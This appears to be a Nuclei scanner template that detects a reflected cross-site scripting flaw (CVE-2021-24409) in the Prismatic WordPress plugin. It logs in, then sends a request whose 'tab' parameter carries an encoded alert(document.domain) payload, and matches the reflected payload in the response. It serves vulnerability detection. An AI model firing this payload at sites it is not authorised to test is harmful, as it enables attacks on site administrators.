51 lines
1.9 KiB
YAML
51 lines
1.9 KiB
YAML
id: CVE-2021-24409
|
|
|
|
info:
|
|
name: Prismatic < 2.8 - Cross-Site Scripting
|
|
author: Harsh
|
|
severity: medium
|
|
description: |
|
|
The plugin does not escape the 'tab' GET parameter before outputting it back in an attribute, leading to a reflected Cross-Site Scripting issue which will be executed in the context of a logged in administrator
|
|
remediation: Fixed in version 2.8
|
|
reference:
|
|
- https://wpscan.com/vulnerability/ae3cd3ed-aecd-4d8c-8a2b-2936aaaef0cf
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24409
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-24409
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00188
|
|
epss-percentile: 0.5611
|
|
cpe: cpe:2.3:a:plugin-planet:prismatic:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: plugin-planet
|
|
product: prismatic
|
|
framework: wordpress
|
|
publicwww-query: "/wp-content/plugins/prismatic"
|
|
tags: wpscan,cve,cve2023,wordpress,wp,wp-plugin,xss,prismatic,authenticated
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
|
- |
|
|
GET /wp-admin/options-general.php?page=prismatic&tab=%22+style%3Danimation-name%3Arotation+onanimationend%3Dalert(document.domain)%2F%2F%22 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code_2 == 200'
|
|
- 'contains(header_2, "text/html")'
|
|
- 'contains(body_2, "Leave A Review?")'
|
|
- 'contains(body_2, "onanimationend=alert(document.domain)")'
|
|
condition: and
|
|
# digest: 4a0a00473045022100e2b5968ca2991000247f0e7e7a00bb850364e98692393f49fbf4be7ac02b5da1022049a06c7fc87d4884beab85b640feb1fe9e6595af40a8df006bc105243163ac00:922c64590222798bb761d5b6d8e72950 |